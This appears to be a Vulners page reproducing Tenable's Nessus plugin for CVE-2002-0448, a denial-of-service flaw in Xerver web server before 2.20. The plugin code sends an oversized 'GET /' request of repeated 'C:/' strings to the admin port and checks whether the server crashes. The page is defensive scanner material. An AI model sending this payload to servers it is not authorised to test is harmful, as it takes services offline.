Search...

Xerver Web Server < 2.20 Crafted C:/ Request Remote DoS

2002-06-07T00:00:00
ID XERVER_DOS.NASL
Type nessus
Reporter Tenable
Modified 2018-11-15T00:00:00

Description

It is possible to crash the Xerver web server by sending a long URL to its administration port.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#

# Script audit and contributions from Carmichael Security
#      Erik Anderson <eanders@carmichaelsecurity.com> (nb: domain no longer exists)
#      Added BugtraqID and CAN
#
# From Bugtraq :
# Date: Fri, 8 Mar 2002 18:39:39 -0500 ?
# From:"Alex Hernandez" <al3xhernandez@ureach.com> 


include("compat.inc");


if(description)
{
 script_id(11015);
 script_version("1.25");

 script_cve_id("CVE-2002-0448");
 script_bugtraq_id(4254);

 script_name(english:"Xerver Web Server < 2.20 Crafted C:/ Request Remote DoS");
 
 script_set_attribute(
  attribute:"synopsis",
  value:"The remote web server is prone to a denial of service attack."
 );
 script_set_attribute(attribute:"description", value:
"It is possible to crash the Xerver web server by sending a long URL
to its administration port." );
 script_set_attribute(
  attribute:"see_also", 
  value:"https://seclists.org/bugtraq/2002/Mar/156"
 );
 script_set_attribute(
  attribute:"see_also", 
  value:"https://seclists.org/bugtraq/2002/Mar/218"
 );
 script_set_attribute(
  attribute:"solution", 
  value:"Upgrade to Xerver 2.20 or later."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2002/06/07");
 script_set_attribute(attribute:"vuln_publication_date", value: "2002/03/08");
 script_cvs_date("Date: 2018/11/15 20:50:26");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 script_summary(english:"Xerver DoS");
 script_category(ACT_DENIAL);
 script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
 script_family(english:"Web Servers");
 script_dependencies("http_version.nasl");
 script_require_ports("Services/www", 32123);
 exit(0);
}

#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:32123, embedded: 0);

soc = open_sock_tcp(port);
if (!soc) exit(1);
s = strcat('GET /', crap(data:"C:/", length:1500000), '\r\n\r\n');
send(socket:soc, data:s);
close(soc);

if (service_is_dead(port: port) > 0)
  security_warning(port);
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by